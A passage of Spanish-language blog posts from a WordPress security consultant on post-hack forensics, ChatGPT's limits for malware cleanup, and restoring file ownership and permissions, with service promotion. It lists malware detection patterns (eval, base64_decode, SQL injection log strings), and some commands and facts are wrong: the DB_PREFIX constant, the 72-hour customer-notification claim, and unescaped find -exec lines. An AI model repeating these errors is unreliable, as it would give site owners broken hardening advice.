    • Se detecta un backdoor persistente o múltiples puntos de entrada: Si encuentro webshells en carpetas insospechadas, archivos .htaccess inyectados, o funciones de plugin modificadas, necesito rastrear toda la cadena de compromisos.
    • El sitio fue comprometido varias veces en poco tiempo: Si tu WordPress ha sido hackeado 2-3 veces en 6 meses, hay una vulnerabilidad raíz que una limpieza simple no encontrará.
    • Se detecta robo de datos (skimmers Magecart, credenciales, información de clientes): Aquí entra la obligación legal (AEPD, RGPD). Necesitas documentar exactamente qué se robó y cuándo, no es opcional.
    • El malware está embedido profundamente en la base de datos: Inyecciones en serialized options, tablas de usuarios modificadas, o código en postmeta requieren análisis granular.
    • Hay sospecha de acceso administrativo comprometido a largo plazo: Si el atacante tuvo credenciales válidas semanas o meses, necesito auditar logs, cambios de contenido, y modificaciones de permisos.
    • El malware es un cryptominero o ransomware: Estos requieren análisis de red, logs del servidor, y cadena de custodia forense para eventuales denuncias.

    Vectores de ataque que exigen análisis forense obligatorio

    No todos los hackeos son iguales. Algunos vectores de ataque son tan insidiosos que limpiar sin análisis forense es prácticamente inútil.

    Backdoors persistentes y webshells multimodulares

    En mi análisis de sitios comprometidos, los backdoors modernos no son un solo archivo. Son ecosistemas. Encontré backdoors que se distribuían en:

    • Archivos functions.php modificados (difícil de detectar porque el tema también tiene ese archivo).
    • Plugins «ocultos» en carpetas con nombres legítimos (wp-content/plugins/akismet-update/ que en realidad es malware).
    • Hooks inyectados directamente en la base de datos en la tabla wp_options, que se regeneran automáticamente si eliminas el archivo original.
    • Archivos .htaccess que redirigen a backdoors en otros servidores.

    Un análisis forense identifica todos estos puntos simultáneamente. Una limpieza manual desactiva uno y el atacante entra de nuevo por otro en 48 horas.

    Inyección SQL y modificación de base de datos

    Cuando un atacante obtiene acceso a la base de datos WordPress, hace cosas que no se ven a simple vista:

    • Añade usuarios administrativos «fantasma» con nombres como «wp_admin» o «support» que parecen legítimos.
    • Modifica la tabla wp_postmeta para inyectar código en todos los posts mediante serialized data.
    • Cambia wp_options para insertar URLs de redirección o cargar código remoto.
    • Altera timestamps en wp_users para que el último acceso parezca antiguo.

    Detectar esto requiere comparar dumps de base de datos, analizar registros de queries, y entender patrones de serialización de PHP. No puedes hacerlo con un plugin de seguridad.

    Malware Magecart y skimmers de tarjetas de crédito

    Si tu WordPress tiene una tienda WooCommerce comprometida, el riesgo no es solo técnico, es legal. Un skimmer de tarjetas Magecart inyecta código JavaScript en la página de checkout que captura datos de tarjetas en tiempo real.

    El análisis forense aquí es obligatorio porque:

    • Necesitas documentar exactamente cuándo fue inyectado el código (fecha/hora del primer acceso).
    • Debes calcular cuántas transacciones fueron potencialmente comprometidas.
    • Tienes obligación legal de notificar a clientes afectados dentro de 72 horas (RGPD).
    • Las aseguradoras de fraude exigen reportes forenses para cobrar reclamaciones.

    Sin análisis forense profesional, no tienes pruebas legales de nada de esto.

    Acceso administrativo comprometido a largo plazo

    Uno de los hackeos más peligrosos es cuando un atacante obtiene credenciales de administrador WordPress (por brute force contra wp-login, por robo de datos de un hosting anterior, o por plugin comprometido) y accede durante semanas sin que nadie lo note.

    Cuando finalmente lo descubres, necesitas saber:

    • ¿Desde cuándo tuvo acceso?
    • ¿Qué publicaciones, páginas o usuarios modificó?
    • ¿Descargó backups o bases de datos completas?
    • ¿Instaló plugins maliciosos «legalmente» desde el panel de admin?
    • ¿Cambió configuraciones de seguridad, protecciones o salts?

    Responder esto requiere auditar logs del servidor (access.log, error.log), revisar el historial de revisiones de WordPress, analizar cambios en wp-config.php, y comparar timestamps de archivos. Es investigación forense pura.

    Cryptominers y consumo anómalo de recursos

    Un sitio que de repente consume el 100% de CPU, tiene procesos PHP activos sin razón aparente, o recibe facturas de hosting con cargos por «overuse», probablemente está infectado con un cryptominero.

    El análisis forense es obligatorio porque:

    • El malware se regenera automáticamente si no eliminas TODOS sus puntos de entrada.
    • Necesitas identificar la cadena de ejecución: cómo se inicia el proceso, dónde está el payload, cómo se mantiene persistente.
    • Los cryptominers modernos usan ofuscación JavaScript, base64 encriptado, y lógica de anti-análisis.

    Sin decodificar y analizar el código malicioso, estarás limpiando síntomas, no la causa.

    Cómo se realiza un análisis forense profesional WordPress

    No es magia, pero requiere metodología y herramientas específicas.

    Fase 1: Aislamiento y captura de evidencia

    Lo primero que hago es:

    • Crear un snapshot del servidor (máquina virtual o copia exacta de archivos y base de datos).
    • Documentar el estado actual: logs, permisos de archivos, procesos activos, conexiones de red.
    • Generar hash SHA256 de todos los archivos del sitio (para probar que no fueron modificados durante el análisis).
    • Exportar logs del hosting: access.log, error.log, logs de FTP/SSH, logs de base de datos si están disponibles.

    Todo esto debe hacerse antes de cualquier limpieza, porque una vez que empiezas a eliminar archivos, pierdes evidencia.

    Fase 2: Análisis de archivos y detectación de malware

    Uso herramientas como Wordfence CLI y comparación manual de código:

    • Comparo archivos WordPress originales (descargados de wordpress.org) con los del sitio infectado.
    • Analizo plugins y temas desactualizados para identificar vulnerabilidades conocidas (CVE).
    • Busco patrones de código malicioso: eval(), base64_decode(), gzuncompress(), @fopen(), preg_replace() con /e modifier (deprecated pero usado en malware antiguo).
    • Reviso .htaccess, wp-config.php, y archivo index.php para inyecciones.
    • Subo archivos sospechosos a VirusTotal para análisis multi-antivirus.

    Fase 3: Análisis de base de datos

    Aquí es donde muchas infecciones se esconden:

    • Busco usuarios «fantasma» con roles de administrador añadidos recientemente.
    • Analizo wp_postmeta y wp_options con serialized data, buscando patrones base64 o hex que no deberían estar.
    • Reviso la tabla wp_usermeta para permisos anómalos.
    • Busco posts programados para fechas futuras o borradores con contenido malicioso.
    • Comparo permisos de archivos y propietarios (owner) con lo que debería ser (www-data o el usuario del hosting).

    Fase 4: Análisis de logs y cadena de compromiso

    Los logs del servidor cuentan la historia del ataque:

    • Busco peticiones POST anómalas a wp-login.php (brute force), wp-admin/admin-ajax.php (inyección RFI/LFI), o /wp-content/uploads/ (carga de archivos).
    • Identifico la primera petición exitosa: qué IP la originó, qué User-Agent usó, qué parámetros enviaba.
    • Rastreo cambios de archivos usando timestamps y logs de FTP/SFTP si están disponibles.
    • Busco configuraciones de servidor anómalas: php.ini modifications, permisos de carpetas incorrectos, procesos ejecutándose como usuario incorrecto.

    Con esto, documento exactamente cuándo entró el atacante y qué hizo.

    Fase 5: Cálculo de impacto y conformidad legal

    Esto es crítico si tu WordPress es de comercio electrónico o maneja datos personales:

    • ¿Fue comprometida información de clientes (nombres, emails, direcciones, datos de pago)?
    • ¿Cuántos registros potencialmente se robaron?
    • ¿En qué fecha exacta fue el compromiso?
    • ¿Hay obligación de notificar a la AEPD o a clientes?

    Este análisis es obligatorio para cumplir normativa AEPD y RGPD.

    Por qué una limpieza superficial siempre falla

    He visto cientos de clientes que intentan limpiar sus sitios solos o contratan servicios baratos que «garantizan» remover malware en 24 horas. El resultado es siempre el mismo: reinfección en 48-72 horas.

    ¿Por qué? Porque sin análisis forense, no identificas:

    • La vulnerabilidad raíz: Si fue brute force, plugin desactualizado, o credenciales comprometidas, seguirá siendo vulnerable.
    • Todos los puntos de entrada: El atacante siempre deja múltiples backdoors. Si eliminas uno, entra por otro.
    • El código ofuscado o hibernando: Malware moderno se desactiva durante análisis de seguridad y se activa cuando bajas la guardia.
    • Cambios en configuración profunda: Si el atacante cambió salts, prefijo de tablas, o permisos de archivos, una limpieza simple los deja tal cual.

    El análisis forense identifica todo esto. Es el único camino para una limpieza real y permanente.

    Herramientas profesionales que uso en análisis forense

    No basta con usar un plugin de seguridad. En mi análisis forense uso:

    • Wordfence CLI: Análisis de malware sin interfaz gráfica, ideal para servidores.
    • WP-CLI: Auditoría de usuarios, posts, plugins y temas desde línea de comandos.
    • MalCare: Análisis heurístico de código malicioso y firewall de aplicación.
    • Sucuri SiteCheck: Escaneo externo de URLs y detección de malware conocido.
    • Herramientas de análisis de logs: grep, awk, herramientas propias para parsear access.log y error.log.
    • PHP Deobfuscator: Para decodificar código ofuscado base64, hex, gzip.
    • String analysis: Buscar patrones con regex en toda la base de datos.

    Usadas en conjunto y con criterio humano, estas herramientas revelan la verdad del compromiso.

    Tiempo y costo: por qué es rentable invertir en análisis forense

    Un análisis forense completo en un sitio de mediano a gran tamaño puede tomar 8-16 horas de trabajo especializado. Cuesta más que una «limpieza rápida», es cierto.

    Pero considera el costo real de no hacerlo:

    • Reinfecciones recurrentes: cada reinfección cost tiempo, dinero en servicios de emergencia, y pérdida de confianza de clientes.
    • Penalización SEO: Google marca sitios comprometidos. Un análisis forense permite documentar cuándo fue el compromiso y agiliza la desinfección ante Google.
    • Multas RGPD: Si tu sitio robo datos y no tienes análisis forense que lo documente, la AEPD puede multar hasta 20 millones de euros.
    • Pérdida de clientes: Clientes que descubren que su información fue robada de tu tienda online generan cargos de tarjeta, reclamaciones, daño reputacional.

    Un análisis forense cuesta entre 1.000 y 5.000 euros. Prevenir una sola multa RGPD vale cientos de miles. Es simple matemática de riesgo.

    Cómo proteger tu WordPress para evitar compromisos que exijan análisis forense

    Una vez limpios y analizados, aquí está el hardening que recomiendo siempre:

    • Cambiar el prefijo de tablas (wp_ por algo único) y el usuario de base de datos.
    • Deshabilitar edición de archivos de plugins/temas en wp-config.php: define(‘DISALLOW_FILE_EDIT’, true);
    • Proteger wp-config.php con reglas .htaccess específicas.
    • Limitar intentos de login a 5 intentos cada 15 minutos.
    • Implementar 2FA (autenticación de dos factores) en todas las cuentas administrativas.
    • Eliminar usuarios por defecto (admin) y renombrar con nombres no estándar.
    • Actualizar WordPress, plugins y temas cada semana (automatizar con OWASP guidelines).
    • Usar certificado SSL/TLS válido (no autofirmado).
    • Implementar Content Security Policy (CSP) para prevenir inyecciones.
    • Backups automatizados diarios, almacenados fuera del servidor (bucket S3, FTP remoto).
    • Monitoreo 24/7 de cambios de archivos, logins anómalos, y tráfico de red.

    Esto no es opcional. Es la diferencia entre un sitio que puede ser comprometido fácilmente y uno que requeriría meses de trabajo dirigido para vulnerar.

    Cuándo contactar un especialista en análisis forense WordPress

    Si tu sitio muestra cualquiera de estas señales, no esperes:

    • Malware detectado por Google Search Console o Sucuri.
    • Reinfecciones recurrentes tras limpiezas anteriores.
    • Consumo anómalo de CPU, memoria, o ancho de banda.
    • URLs raras en los logs del servidor que no son tuyas.
    • Cambios en archivos sin explicación (permisos, timestamps).
    • Pérdida de datos o cuentas de usuario «fantasma» en la base de datos.
    • Sospechas de robo de datos de clientes (skimmers, formularios modificados).

    Cada hora que esperas, el atacante puede estar exfiltrando datos, instalando más backdoors, o usando tu servidor para atacar a otros sitios.

    En ManuelFolgar.com realizamos análisis forense completos con documentación legal, reporte detallado, y limpieza verificada. Si necesitas ayuda profesional, no dudes en contactarnos para una auditoría. Podemos analizar tu sitio, identificar el compromiso exacto, y entregarte un reporte que uses para cumplir obligaciones legales.

    La seguridad WordPress no es un lujo. Es un requisito operacional, legal, y de negocio. Invierte en análisis forense cuando lo necesites. Tu sitio, tus clientes, y tu paz mental te lo agradecerán.

  • WordPress hackeado y ChatGPT no da solución: qué hacer ahora mismo

    WordPress hackeado y ChatGPT no da solución: qué hacer ahora mismo

    WordPress hackeado y ChatGPT no da solución: por qué la IA no es suficiente

    Te has dado cuenta de que tu sitio WordPress está comprometido. Buscas en Google, abres ChatGPT, le haces preguntas sobre cómo limpiar malware, y obtienes respuestas genéricas que no funcionan. Es frustrante, ¿verdad? Aquí te cuento por qué esto ocurre y qué debes hacer ahora mismo.

    En mi experiencia analizando sitios hackeados, la principal razón por la que ChatGPT y otras herramientas de IA generativa falla es simple: no tienen acceso al código real de tu sitio. Una IA entrenada con datos públicos puede explicarte conceptos generales sobre seguridad web, pero no puede detectar dónde está el backdoor específico que dejó el atacante en tus archivos, ni sabe qué tipo de malware exacto está alojado en tu servidor.

    La limitación crítica de ChatGPT frente a WordPress hackeado

    Cuando un sitio WordPress sufre un ataque exitoso, el atacante puede haber dejado múltiples puertas traseras: webshells en carpetas ocultas, código inyectado en funciones.php de temas nulled, backdoors en plugins comprometidos, o incluso modificaciones en wp-config.php. ChatGPT te dirá «busca archivos sospechosos» o «reinstala WordPress», pero no puede:

    • Acceder via SFTP o SSH a tu servidor para inspeccionar archivos línea por línea
    • Comparar el hash de tus archivos contra la base de datos oficial de WordPress.org
    • Identificar código obfuscado o ofuscado que un atacante ha insertado
    • Analizar logs de acceso del servidor para rastrear la ruta exacta del ataque
    • Ejecutar herramientas como Wordfence CLI o MalCare para escanear en profundidad

    Además, si sigues los pasos genéricos de una IA sin conocer tu contexto específico, puedes eliminar funcionalidades legítimas, romper plugins de clientes o perder configuraciones críticas. Lo que funciona en un sitio puede causar desastres en otro.

    Señales reales de que tu WordPress está comprometido

    Antes de actuar, necesitas confirmar que realmente hay un problema. Estos son los indicadores que veo constantemente en auditorías:

    Síntomas técnicos verificables

    • Redirecciones inesperadas: Cuando accedes a tu home o a páginas aleatorias, te redirige a sitios de apuestas, casinos o malware. Esto indica un malware redirector.
    • Inyección de contenido HTML/JavaScript: En Google Search Console ves notificaciones de «contenido no esperado»; al inspeccionar código fuente, encuentras scripts o iframes ocultos al final de la página o en el head.
    • Defacement: Tu home muestra contenido que no escribiste, banners extraños, o mensajes de «hackeado».
    • Ralentización extrema: El sitio va muy lento porque está minando criptomonedas en segundo plano (cryptominer).
    • Alertas de navegadores: Chrome o Firefox avisan sobre malware o contenido peligroso cuando visitas tu sitio.
    • Cambios sin autorización: Usuarios, plugins, temas, o contenido que no creaste aparecen en tu WordPress.
    • Errores 404 masivos: De repente muchas URLs devuelven errores; es posible que el atacante haya borrado archivos o modificado la base de datos.

    Indicadores en herramientas online

    Accede a estas plataformas de análisis gratuito para confirmar:

    • Sucuri SiteCheck: Escanea malware, backdoors y inyecciones conocidas.
    • VirusTotal: Analiza tu dominio contra múltiples antivirus.
    • Google Search Console: Revisa «Seguridad» para alertas de malware o content injection.
    • NVD (National Vulnerability Database): Busca CVEs publicadas para tus plugins o versión de WordPress.

    Plan de acción inmediato (que ChatGPT no puede ejecutar)

    Paso 1: Aislamiento y acceso al servidor

    Lo primero es detener la propagación del daño. Debes tener acceso real a tu servidor:

    1. Solicita credenciales SFTP/SSH a tu hosting. Si no las tienes, contacta con el proveedor ahora.
    2. Si el WordPress tiene administrador comprometido: Cambia contraseñas de hosting, bases de datos y cualquier cuenta raíz antes de entrar al back-office.
    3. Descarga una copia completa de tu /wp-content/plugins, /wp-content/themes y /wp-admin a tu PC para análisis posterior. Esto es evidencia.
    4. Revisa /wp-content/uploads: Los atacantes suelen alojar webshells (php malicioso ejecutable) aquí, camuflados como imágenes o archivos.

    Paso 2: Búsqueda manual de backdoors y webshells

    Aquí es donde la mayoría de la gente se pierde sin ayuda profesional. Un backdoor no se ve a simple vista. Necesitas:

    • Escanear archivos .php recientes: En tu editor de archivos o SFTP, ordena por fecha de modificación. Si ves un archivo php en /uploads/ creado ayer, es sospechoso.
    • Revisar temas activos: Abre functions.php del tema. Si contiene código ofuscado (base64_decode, eval, create_function), ese es malware. Los temas nulled vienen frecuentemente contaminados.
    • Analizar plugins recientemente instalados: Si encuentras plugins que no instalaste, desactívalos inmediatamente y guarda sus archivos para análisis.
    • Buscar archivos .htaccess modificados: Un atacante puede manipular reglas de reescritura para redirigir tráfico.

    Si no sabes leer código PHP, aquí viene la realidad incómoda: no deberías intentar esto solo. Un error puede dejar abierto el acceso del atacante o borrar funcionalidades legales.

    Paso 3: Limpieza real vs. limpieza superficial

    ChatGPT te dirá «reinstala WordPress». Eso es peligroso si:

    • No has eliminado todos los backdoors antes. El atacante sigue dentro.
    • No has parchado la vulnerabilidad original. Te hackean nuevamente en días.
    • Tienes datos legítimos en la base de datos que perderías (posts, comentarios, configuración).

    La limpieza real implica:

    1. Identificar y eliminar cada archivo malicioso: No es reinstalar WordPress; es cirugia selectiva.
    2. Analizar logs del servidor: Revisa /var/log/apache2/access.log (o nginx). Busca solicitudes GET/POST a archivos php sospechosos, URLs con caracteres raros (como %23, %27, union select). Esto te dice cómo entraron.
    3. Auditar la base de datos: Usa herramientas como WP-CLI para buscar usuarios administrador que no creaste, opciones de WordPress alteradas, o posts con contenido spam inyectado.
    4. Cambiar TODAS las contraseñas: FTP, WordPress, hosting, base de datos, email. Si el atacante estuvo dentro, asume que todo está comprometido.
    5. Actualizar WordPress, plugins y temas a versión actual. Sin excepciones.

    Las herramientas que ChatGPT no conoce (pero que funcionan)

    En mi trabajo diario con sitios hackeados, uso estas herramientas especializadas que una IA simplemente no puede ejecutar:

    Wordfence CLI

    Es el escáner de seguridad profesional de WordPress. Funciona desde línea de comandos (SSH) e identifica malware, vulnerabilidades de plugins conocidas y anomalías de archivos. Genera reportes que hasta un principiante entiende.

    MalCare

    Servicio cloud que analiza tu sitio sin necesidad de instalar plugins. Detecta webshells, backdoors obfuscados y código malicioso inyectado en núcleo de WordPress. Ofrece limpieza automatizada en algunos casos.

    WP-CLI (WordPress Command Line Interface)

    Permite ejecutar comandos potentes directamente en tu servidor. Puedo auditar usuarios, revisar opciones de base de datos, listar plugins desactualizados, y hacer cambios masivos sin GUI.

    Logs de servidor + herramientas de análisis

    Los logs de Apache o Nginx contienen toda la historia del ataque. Con grep, awk o herramientas como ELK Stack puedo rastrear exactamente qué hizo el atacante y cuándo.

    ¿Qué pasa si intento confiar únicamente en ChatGPT?

    Estos son riesgos reales que veo cuando los clientes intentan «autorrepararse» con guías de IA:

    • El atacante sigue dentro: No encuentras el backdoor principal. Cambias contraseña, das por «solucionado» el tema, y en una semana vuelves a estar hackeado.
    • Pierdes datos valiosos: Si sigues mal un comando de limpieza, borras plugins o posts legítimos. He visto sitios perder catálogos de productos enteros.
    • El SEO se queda dañado: Google sigue viendo contenido malicioso indexado. Tu ranking cae. Tardarás meses en recuperarte aunque el sitio esté limpio.
    • Responsabilidad legal: Si tu sitio fue usado para distribuir malware a otros usuarios, la AEPD puede investigarte por falta de diligencia. Un sitio «limpio» por IA sin auditoría profesional no es defensa legal.
    • Costo de oportunidad: Mientras pierdes tiempo experimentando, tu negocio está offline o comprometido. Cada hora cuenta.

    Cuándo necesitas profesionales (ahora mismo)

    Deberías contactar con expertos en seguridad WordPress inmediatamente si:

    • Tu sitio recibe más de 500 visitas diarias (el impacto de estar comprometido es crítico).
    • Procesa pagos o datos sensibles de clientes (PCI-DSS, RGPD).
    • No tienes acceso SSH/SFTP o no sabes usarlo.
    • Ya has intentado limpiar y sigue pasando.
    • No sabes cómo analizar código PHP ofuscado.
    • Necesitas un reporte forense o documentación legal del ataque.
    • Quieres hardening preventivo para que no vuelva a ocurrir.

    Plan de hardening post-limpieza (esto ChatGPT sí puede ayudar a explicar, pero no ejecutar)

    Una vez limpio el sitio, necesitas construir defensas:

    Configuración de WordPress

    • Cambiar prefijo de tablas: De wp_ a algo aleatorio. Complica ataques de inyección SQL.
    • Deshabilitar edición de archivos: Añade a wp-config.php: define('DISALLOW_FILE_EDIT', true);
    • Proteger wp-config.php: Reglas .htaccess que bloqueen acceso directo a este archivo.
    • Limitar intentos de login: Plugin como Wordfence o configuración de servidor que bloquee después de 5 intentos fallidos.
    • Activar 2FA (autenticación de dos factores): Para todos los administradores.
    • Cambiar URL de admin: De /wp-admin a algo como /secreto-admin-12345. Evita ataques brute force masivos.

    Configuración de servidor

    • Headers de seguridad HTTP: X-Frame-Options, X-Content-Type-Options, Strict-Transport-Security (HSTS). Bloqueando ataques XSS, clickjacking y MITM.
    • Content Security Policy (CSP): Whitelist de qué scripts pueden ejecutarse. Bloquea inyecciones de JS malicioso.
    • Permisos de carpetas: /wp-content/ y /uploads/ en 755 (no 777, que es puerta abierta). Archivos en 644.
    • Desactivar ejecución de PHP en carpetas peligrosas: Regla .htaccess en /uploads/ que bloquee .php.

    Monitoreo continuo

    • Backup automático diario (sin almacenar en el mismo servidor).
    • Monitoreo de cambios de archivos: herramientas como AIDE o Tripwire alertan si alguien modifica código.
    • Auditoría de logs: revisión periódica de accesos sospechosos.
    • Actualizaciones automáticas: WordPress core, plugins y temas.

    El factor humano que ChatGPT no entiende

    La razón por la que contratar profesionales en seguridad es diferente a un chatbot:

    Responsabilidad: Si yo limpio tu sitio y la seguridad falla, tengo un contrato y seguros. ChatGPT no.

    Contexto real: Veo tu infraestructura completa, tu hosting, tu flujo de trabajo. Propongo defensas personalizadas. ChatGPT da pasos genéricos.

    Investigación forense: Documento cómo entraron, qué hicieron, qué robaron. Es información valiosa para tu abogado, seguros, o cumplimiento RGPD.

    Garantía: Si vuelves a ser hackeado en 30 días por la misma puerta, lo reparo gratis. ChatGPT no tiene garantía.

    Resumen: tu siguiente paso

    Si tu WordPress está hackeado y ChatGPT no te da respuestas concretas, es porque el problema no es conceptual, es técnico. Necesitas acceso al servidor, análisis de código, herramientas especializadas y responsabilidad profesional.

    No es una crítica a la IA. Es una realidad: ciertos trabajos requieren manos en el código.

    Consulta con un profesional certificado en seguridad WordPress que pueda:

    1. Analizar tu sitio línea por línea (no AI, humanos o herramientas profesionales).
    2. Identificar exactamente cómo fueron comprometidos.
    3. Limpiar todos los backdoors sin romper funcionalidades.
    4. Darte un reporte forense.
    5. Implementar defensas que prevengan futuros ataques.

    Si necesitas ayuda ahora mismo, en ManuelFolgar.com ofrecemos auditorías de seguridad, limpieza de malware y hardening profesional para WordPress. Contacta con nuestro equipo para un análisis gratuito de tu situación específica. No hacemos guessing; hacemos diagnóstico real.

    Tu sitio, tus datos y tu reputación online merecen más que respuestas genéricas. Actúa ahora.

  • Cambiar proprietario de archivos: restaurar permisos correctos tras hackeo

    Cambiar proprietario de archivos: restaurar permisos correctos tras hackeo

    Cambiar propietario de archivos: restaura permisos correctos tras un hackeo

    Cuando analizó un sitio web comprometido, una de las primeras cosas que reviso es la propiedad de los archivos y directorios. En mi experiencia, los hackers casi siempre dejan rastros evidentes: archivos creados por el usuario www-data, root o incluso propietarios fantasma que no debería existir en tu servidor. Restaurar los permisos correctos es crítico para evitar reinfecciones y asegurar que tu sitio funciona bajo la identidad de usuario correcta.

    En este artículo te explicaré cómo identificar propietarios incorrectos, las herramientas que necesitas y los pasos concretos para restaurar tu WordPress o PrestaShop a un estado seguro.

    ¿Por qué los hackers cambian propietarios de archivos?

    Cuando un atacante obtiene acceso a tu servidor (a través de un plugin desactualizado, una contraseña débil o una inyección SQL), lo primero que intenta es ganar persistencia. Cambiar la propiedad de los archivos es una técnica común porque:

    • Evasión de detección: si tu servidor está configurado para que WordPress sea propiedad de tu usuario FTP/SFTP, un archivo de propietario www-data destaca y es un indicador de compromiso.
    • Acceso permanente: un webshell con propietario www-data sigue siendo ejecutable incluso después de que cambies tu contraseña FTP.
    • Dificulta la limpieza: algunos administradores inexpertos no notan que los permisos están mal y el malware persiste silenciosamente.
    • Bloqueo de acceso: en algunos casos, el hacker cambia la propiedad a un usuario de máquina inexistente, bloqueándote incluso a ti.

    He visto casos donde un cliente no podía eliminar archivos mediante FTP porque la propiedad había sido transferida a nobody o a un usuario fantasma. Fue una situación frustrante que podría haberse evitado con auditorías regulares.

    Identificar propietarios y permisos incorrectos

    Conectar por SSH y revisar la estructura

    Si tienes acceso SSH a tu servidor (y lo recomiendo siempre), el primer paso es conectar y listar los archivos con información de propiedad:

    ls -la /ruta/a/tu/wordpress

    La salida te mostrará algo como:

    -rw-r--r-- 1 usuario grupo 1024 Jan 15 10:30 index.php

    Las partes clave son: usuario (owner) y grupo (group). En una instalación correcta de WordPress en un servidor compartido, debería ser algo como:

    • Usuario propietario: tu usuario FTP (ej: miseñoweb, usuario1, etc.) o www-data si estás en un servidor dedicado con PHP-FPM bien configurado.
    • Grupo: www-data, www, httpd o similar (el usuario web del servidor).

    Si ves propietarios raros como root, nobody, mysql o usuarios que no reconoces, es un indicador de compromiso.

    Automatizar la detección con find

    En lugar de revisar archivo por archivo, puedo usar find para detectar anomalías:

    find /ruta/a/wordpress -not -user miusuario -not -user www-data -type f

    Este comando lista todos los archivos que NO son propiedad de tu usuario FTP ni de www-data. Si aparecen archivos, tienes un problema.

    Restaurar propietarios correctos en WordPress

    Opción 1: Cambiar propietario a tu usuario FTP (servidores compartidos)

    En hosting compartido, lo habitual es que los archivos sean propiedad de tu usuario FTP:

    chown -R miusuario:www-data /ruta/a/wordpress

    Reemplaza miusuario con tu usuario real. El parámetro -R (recursivo) cambia todos los archivos y carpetas dentro del directorio.

    Nota importante: el grupo debe seguir siendo www-data para que el servidor web pueda leer los archivos. No cambies el grupo a tu usuario.

    Opción 2: Cambiar propietario a www-data (servidores dedicados con PHP-FPM)

    Si usas un servidor dedicado con PHP-FPM correctamente configurado, el propietario debe ser www-data en todos los archivos:

    chown -R www-data:www-data /ruta/a/wordpress

    Esta es la configuración más segura en servidores modernos porque el proceso PHP se ejecuta como www-data, evitando escaladas de privilegios.

    Restaurar permisos numéricos (CHMOD)

    Una vez hayas corregido el propietario, es hora de los permisos. Los permisos correctos en WordPress son:

    • Directorios: 755 (rwxr-xr-x) – el propietario lee, escribe y ejecuta; otros solo leen y ejecutan.
    • Archivos PHP y datos: 644 (rw-r–r–) – el propietario lee y escribe; otros solo leen.
    • wp-config.php: 600 (rw——-) – solo el propietario puede acceder.
    • carpeta /uploads: 755 en la carpeta, 644 en archivos dentro.

    Para establecer estos permisos desde SSH:

    find /ruta/a/wordpress -type d -exec chmod 755 {} ;
    find /ruta/a/wordpress -type f -exec chmod 644 {} ;
    chmod 600 /ruta/a/wordpress/wp-config.php

    Esto es clave: si los permisos son demasiado permisivos (777 o 666), cualquiera en el servidor puede modificar tus archivos. He encontrado backdoors en sitios que tenían permisos 777 en directorios completos.

    Restaurar permisos en PrestaShop

    PrestaShop es similar, pero con algunas particularidades. La estructura correcta es:

    • Directorios: 755
    • Archivos: 644
    • config/settings.inc.php: 644 (en algunos casos 600)
    • carpeta /upload: 755 con archivos 644

    El propietario debe seguir la misma lógica que WordPress: tu usuario FTP en hosting compartido, www-data en dedicado.

    chown -R miusuario:www-data /ruta/a/prestashop
    find /ruta/a/prestashop -type d -exec chmod 755 {} ;
    find /ruta/a/prestashop -type f -exec chmod 644 {} ;

    Casos especiales: detectar y eliminar webshells

    Después de cambiar propietarios, es posible que haya webshells o backdoors ocultos. Buscar archivos con propietarios sospechosos es un indicador, pero también debes revisar:

    Archivos PHP sospechosos

    Muchos hackers suben archivos con nombres inocentes (shell.php, admin.php, update.php) en directorios menos obvios como wp-content/uploads, plugins desactivados o themes sin usar.

    find /ruta/a/wordpress -name "*.php" -type f -newer /ruta/a/wordpress/index.php

    Este comando lista archivos PHP más nuevos que index.php, lo que puede indicar qué se subió tras el hackeo.

    Archivos con permisos anómalo

    find /ruta/a/wordpress -perm /111 -type f -name "*.php"

    Esto busca archivos PHP ejecutables por el propietario, grupo u otros. Un archivo PHP nunca debería ser ejecutable en el sistema de archivos (el servidor web se encarga de ejecutarlo).

    Verificar cambios con Wordfence CLI o MalCare

    Después de restaurar permisos, te recomiendo usar herramientas especializadas para confirmar que no hay malware residual:

    • Wordfence CLI: escanea archivos WordPress en busca de cambios respecto a versiones oficiales. Es gratuito y muy potente.
    • MalCare: detección automática de webshells y malware incluso si no coincide con firmas conocidas.
    • WP-CLI: con comandos personalizados para revisar integridad de plugins y temas.

    La combinación de cambio de propietarios + análisis de malware es tu mejor defensa. No hagas uno sin el otro.

    Implementar protecciones adicionales tras la restauración

    Deshabilitar edición de archivos

    Una vez hayas limpiado el sitio, evita que nadie (incluso atacantes con acceso al panel admin) pueda editar archivos PHP:

    En wp-config.php, añade:

    define('DISALLOW_FILE_EDIT', true);

    Esto desactiva el editor de archivos en el panel de WordPress, reduciendo la superficie de ataque significativamente.

    Proteger wp-config.php con .htaccess

    En el directorio raíz de WordPress, crea o edita .htaccess:

    <Files wp-config.php>
    order allow,deny
    deny from all
    </Files>

    Esto previene acceso directo al archivo de configuración, incluso si se coloca una inyección.

    Cambiar prefijo de tablas de base de datos

    Si el hacker accedió a la base de datos, también debería cambiar el prefijo (por defecto wp_):

    define('DB_PREFIX', 'wnq42_');

    Esto complica los ataques de inyección SQL dirigidos a tablas específicas. Requiere cierto trabajo de migración, pero vale la pena en sitios críticos.

    Auditoría post-hackeo: la lista de verificación

    Cuando finalices la restauración de propietarios, verifica:

    1. Todos los archivos tienen propietario correcto (tu usuario o www-data, según configuración).
    2. Todos los directorios tienen permisos 755, archivos 644, excepto wp-config.php en 600.
    3. No hay archivos PHP sospechosos en directorios de upload o temas desactivados.
    4. Escaneo antimalware con Wordfence CLI o MalCare sin detecciones.
    5. Cambio de contraseñas de FTP, SSH, base de datos y panel admin.
    6. Actualización de todos los plugins, temas y WordPress al último parche.
    7. Revisión de logs de servidor en /var/log/apache2 o /var/log/nginx para actividad sospechosa.

    En mi experiencia, los sitios que no completan esta lista suelen reinfectarse en 48-72 horas. El cambio de propietarios es solo el primer paso.

    Herramientas recomendadas para automatizar todo esto

    WP-CLI permite automatizar cambios de permisos en WordPress sin escribir comandos complejos:

    wp user list
    wp plugin list
    wp theme verify-checksums

    Con scripts personalizados, puedes combinar chown, chmod y escaneos de integridad en una sola ejecución.

    Si no tienes acceso SSH, algunas empresas de hosting permiten cambiar propietarios a través del panel de control (cPanel, Plesk, etc.). Contacta con soporte si no ves la opción.

    ¿Cuándo llamar a un profesional?

    Si después de cambiar propietarios:

    • Siguen apareciendo archivos sospechosos nuevos.
    • El sitio se ralentiza o muestra errores inexplicables.
    • Las redirecciones no cesan tras limpiar.
    • No tienes acceso SSH y tu proveedor no te ayuda.

    Es momento de buscar ayuda profesional. En ManuelFolgar.com realizamos limpiezas completas de malware, auditorías de seguridad profundas y hardening de servidores. Contacta conmigo para una evaluación sin compromiso.

    Solicita una auditoría de seguridad profesional en ManuelFolgar.com

    Referencias técnicas y fuentes de autoridad

